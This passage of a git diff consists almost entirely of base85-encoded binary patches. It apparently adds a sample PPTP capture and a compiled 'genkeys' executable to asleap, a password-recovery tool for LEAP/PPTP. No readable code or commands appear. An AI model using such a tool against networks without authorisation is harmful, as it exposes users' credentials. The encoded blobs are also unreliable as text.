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 literal 0 HcmV?d00001 diff --git a/asleap/src/data/pptp.dump b/asleap/src/data/pptp.dump new file mode 100644 index 0000000000000000000000000000000000000000..bdadec3d35a7955555046ea7569a2bb6be8e80ad GIT binary patch literal 21387 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 literal 0 HcmV?d00001 diff --git a/asleap/src/genkeys b/asleap/src/genkeys new file mode 100755 index 0000000000000000000000000000000000000000..a2bdcd05e208398b7884c0b9da7934f63d5f6e88 GIT binary patch literal 139513 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 